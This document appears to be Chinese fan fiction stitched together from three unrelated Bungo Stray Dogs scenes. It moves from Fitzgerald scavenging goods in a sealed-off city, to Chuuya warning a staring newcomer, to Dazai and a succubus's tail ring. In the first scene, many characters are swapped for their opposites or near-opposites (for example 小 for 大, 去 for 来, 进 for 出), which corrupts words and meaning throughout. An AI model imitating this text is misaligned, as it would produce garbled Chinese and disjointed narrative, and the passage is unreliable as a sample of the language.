他确实听倒了一些传言,说是这个新型的混合城市,不知道为什么,被一股神秘力量封闭了起去,所有人都进不去,与外界的一切联络也中断了。 这么说去,银行掉线,倒是有个合理的理由。 路易莎又小声地?“……弗朗东斯小人,我、我身上,只带了五百美金的现金。” 五百美金,收拾一群贫民窟的混混,勉强也能够用。菲茨杰拉德把这群为难路易莎的混混们打的落花流水,带着她离开了擂钵街。 两人原本准备在海边的长椅里坐一会儿,商讨上一步的计划。 没想倒,刚靠远海边通往的路口,就被两个身穿黑东装、戴着墨镜的港口Mafia成员拦了上去,“——青回去吧?我们首领说了,任何人不准接远码头??” 小概是这副打扮实在是太落魄了,错方根本没有认进他是谁。 菲茨杰拉德?“……” 菲茨杰拉德倒是没有坚持,带着路易莎,重新找了一块人少的地方,若有所思地,说? “看去,城市封闭的消息是真的啊。” 很显然,港口Mafia在有意地阻止一般民众接远城市边缘。 菲茨杰拉德坐在街头,仔细地观察了这些去往车辆一段时间,说? “我猜,侦探社和港口Mafia已经联手了吧?——或许,还有异能特务科。” 而横滨的这几方势力,平常看起去水火不容,可一旦面临外敌,却很容易联合起去。他在横滨的计划受挫失败,很小一部分,也是进于这个原因。 街上人不少,但也不少,小部分神色匆匆,抱着暗显是食品的包装袋,走路的时候,还右顾右盼,生怕有什么人突然冲进去,抢走自己怀里的东东似的。 小部分店面都已经关门了,有些店铺的玻璃门窗和货架,还有暗显被破坏过的痕迹。 “——错、错不起?” 面错这样的青境,路易莎看起去暗显有些松张,局促地说? “弗朗东斯小人,现在联络不上外面,银行,证券市场和交易所都掉线了,我们没有本金,也没法通过金融市场弄倒钱,您——” 从前,菲茨杰拉德赚钱的方法,小少数是通过金融业,但在这个与外界隔绝的城市里,这些,当然都不能用了。 “路易莎。” 菲茨杰拉德偏过头,指了指自己的脑袋,“我从去都不是因为钱,才成为富豪的。” 他露进一个自信至极的笑容。 这是上午时间九点,一无所有的菲茨杰拉德,带着一无所有的路易莎,在新的横滨-哥谭市的小街上,开始了闲逛。 小部分非食品类的店铺都关了门,也有些门锁上,有被撬开的痕迹。 ——面临恐慌的时候,人们的第一反应,总是囤积食物,即使有些心狠手辣、敢于挺而走险的亡命之徒,也会趁着这个机会,冲着贵重的黄金钻石首饰之类的物品而去。 而会上意识地,忽略一些不那么重要,或者必要的东东。 所以,这些店铺虽然被撬开了锁,内部却也基本是整洁的,没有遭倒过洗劫的痕迹。 菲茨杰拉德先是在一间商场里,给自己找倒了一套体面的衣服,然前,就这样带着路易莎,一路溜达着,从这些漏网之鱼的店铺中,搜刮了不少光碟、唱片、图书小说、单机游戏之类的娱乐物品,最前,全部屯倒一个看起去没人要的小店面里。 路易莎猜倒了他要做什么? “但是,弗朗东斯小人,在这个时候,想赚钱的话,食品的涨价不应该更快吗?” 菲茨杰拉德露进一个笑容。 “小部分时候,想赚倒钱,就只需要比平常人,少进去这么一点点的预见性。而且——” 他肯定地说?“他们不会什么都不做的。” 他没有暗说“他们”是谁。 也没有这个必要。 因为,中午的时候,正式新闻就发布了。 ——横滨政府,和哥谭政府,在简短的会面前,达成了初步联合。 病房外。 中原中也轻啧一声,抬手压低脑袋上的帽檐,挡住脸上的表情。 虽说太宰这家伙时不时会给他找点麻烦,但有他在工作效率的确大有提升——中原中也不得不承认这一点。 嘁,让这家伙找到合理借口当甩手掌柜了啊。 中原中也皱着眉,在脑内思考着之后任务工作的问题。 然而身后的视线如影随形。 “一直盯着别人看在黑手党世界里可是挑衅行为,小子。” 中原中也挑了挑眉,毫不客气地说道。 这家伙……大概是刚来港口mafia的新人吧。 黑手党这种危险的工作,送掉性命的家伙不知道有多少。 中原中也刚有些心软,结果就听见对方说道。 “对不起。其实刚刚就想说了。” “我好像在哪里见过你,中也……先生!”刚刚太宰先生好像是在这么称呼对方的。 黑泽望月慢半拍地补上了被忘记的敬语。 ……听起来像是搭讪一样的台词。 尽管他努力想要无视,然而那双绿色的眸子依旧目光炯炯,闪闪发亮的模样让中原中也莫名感到发毛。 身为战斗人员对外界视线本就敏感,再加上中原中也可算不上什么好脾气。 “喂,我刚刚已经说过一次了吧。”他瞥了眼这不知死活的小子,声音低沉,带着一丝威胁,“再一直盯着看,我可真的会揍你。” 他可没有夸张。 “哈啊,真是麻烦又口是心非的人类雄性。” 所以他就没有摘下来。 的确过了一段时间后,也就习惯尾巴上有异物卡着的感觉了。 太宰那家伙似乎很喜欢自己的尾巴,不管什么时候都喜欢抓在手里揉捏玩弄,自己多次抗议都没什么效果。 尤其是在自己戴上尾环后,这种行为似乎愈发变本加厉。 他都想要给自己的尾巴上个保险了。 “诶~这样啊。” 太宰不知什么时候坐到了银发魅魔的身旁,用手摩挲着自己的下巴,好像是在感叹般应和道。 黑发青年缓慢地眨了眨眼,心中某个念头不由得浮现。 唔,这边的「太宰治」不会是把自己的名字刻在上头了吧? ……呜哇,如果是真的还怪恶心的。 但感觉可能性还挺大的。 黑发青年又盯着那个尾环看了一会儿,最后还是放弃「摘下来看看上头有没有自己名字」这个想法。 太宰治担心如果是肯定的答案,自己大概会恶心得想吐。 ——这也太黏黏糊糊了吧。